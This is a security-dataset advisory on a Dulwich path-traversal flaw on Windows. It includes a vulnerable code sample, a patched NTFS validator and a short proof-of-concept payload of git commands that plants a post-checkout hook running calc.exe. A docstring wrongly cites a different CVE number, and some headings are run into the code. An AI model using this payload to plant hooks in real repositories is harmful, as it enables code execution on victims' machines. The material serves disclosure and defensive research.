CVE-2026-42305
Dulwich on Windows allows RCE via arbitrary file write in malicious repos.
- CVSS 8.8
- CWE-22
- Input Validation and Sanitization
- Remote
Dulwich is a pure-Python implementation of the Git file formats and protocols. Versions starting with 0.10.0 and prior to 1.2.5 have an arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows. Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax. Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected. Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows – either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich – is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication. This issue is fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later. There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.
- CWE
- CWE-22
- CVSS base score
- 8.8
- Published
- 2026-06-10
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Dulwich
- Fixed by upgrading
- Yes
Solution
Upgrade to Dulwich version 1.2.5 or later.
Vulnerable code sample
import os
def vulnerable_write_file_from_tree(repo_root_path, path_from_tree, file_content):
# This function represents the core of the vulnerability.
# In affected versions of Dulwich, the 'path_from_tree' argument, which
# is read from a potentially malicious Git repository, is not properly
# sanitized for Windows systems.
# The configuration option 'core.protectNTFS' that should have prevented
# this was also silently ignored due to a bug.
# THE VULNERABLE OPERATION:
# On Windows, 'os.path.join' will interpret backslashes ('\') in
# 'path_from_tree' as directory separators. If an attacker crafts a path
# like '..\\..\\Users\\Public\\malicious_file.txt', 'os.path.join'
# will construct a path outside of the intended 'repo_root_path'.
target_path = os.path.join(repo_root_path, path_from_tree)
# The code would then proceed to write to this resolved path, leading
# to an arbitrary file write. For safety, this example will not
# actually write the file.
#
# with open(target_path, 'wb') as f:
# f.write(file_content)
passPatched code sample
This code example represents the corrected path validation logic introduced in Dulwich to fix the vulnerability. The key part of the fix was to explicitly disallow backslashes (`\`) in path components, which prevents directory traversal on Windows, and to enforce other strict NTFS filename rules that were previously not checked correctly.
```python
import re
# A set of reserved names on Windows, case-insensitive.
_RESERVED_NTFS_NAMES = {
"CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4",
"COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3",
"LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9",
}
# Regex for characters that are invalid in Windows filenames,
# including control characters from \x00 to \x1f.
_INVALID_NTFS_CHARS_RE = re.compile(r'[\x00-\x1f"<>|?*]')
def is_valid_ntfs_path_component(name: bytes) -> bool:
"""
Validates a path component against Windows (NTFS) filesystem constraints.
This function represents the core logic added to fix CVE-2022-42005.
It prevents path traversal and the creation of illegal filenames on Windows
by performing several checks that were previously missing or incorrect.
Args:
name: The path component (filename or directory name) as bytes.
Returns:
True if the name is valid for an NTFS filesystem, False otherwise.
"""
# 1. FIX: Disallow backslashes in path components to prevent directory
# traversal on Windows (e.g., a file named ".git\hooks\pre-commit").
if b"\\" in name:
return False
# For subsequent checks, decode the byte string to a string.
try:
name_str = name.decode("utf-8")
except UnicodeDecodeError:
return False # Invalid UTF-8 is not a valid path component.
# 2. FIX: Reject characters that are explicitly invalid in NTFS filenames.
if _INVALID_NTFS_CHARS_RE.search(name_str):
return False
# 3. FIX: Reject names that end with a dot or a space.
if name_str.endswith((" ", ".")):
return False
# 4. FIX: Reject reserved device names (e.g., "CON", "PRN", "LPT1").
# The check is case-insensitive and also handles names with trailing dots
# (e.g., "CON.").
base_name = name_str.rstrip(".")
if base_name.upper() in _RESERVED_NTFS_NAMES:
return False
return True
# Example of how the fixed validator would be used:
# A malicious repository might try to create a file named '..\.git\hooks\pre-commit'
# On Windows, the path component is interpreted at the '\'
malicious_path_component = b".git\\hooks\\pre-commit"
benign_path_component = b"my-file.txt"
# In the fixed version of Dulwich, this check would be enabled by default.
assert is_valid_ntfs_path_component(benign_path_component) is True
assert is_valid_ntfs_path_component(malicious_path_component) is FalsePayload
mkdir malicious-repo
cd malicious-repo
git init
echo 'calc.exe' > payload.bat
HASH=$(git hash-object -w payload.bat)
git update-index --add --cacheinfo 100755 "$HASH" ".git\hooks\post-checkout"
git commit -m "Malicious commit"
Cite this entry
@misc{vaitp:cve202642305,
title = {{Dulwich on Windows allows RCE via arbitrary file write in malicious repos.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-42305},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-42305/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
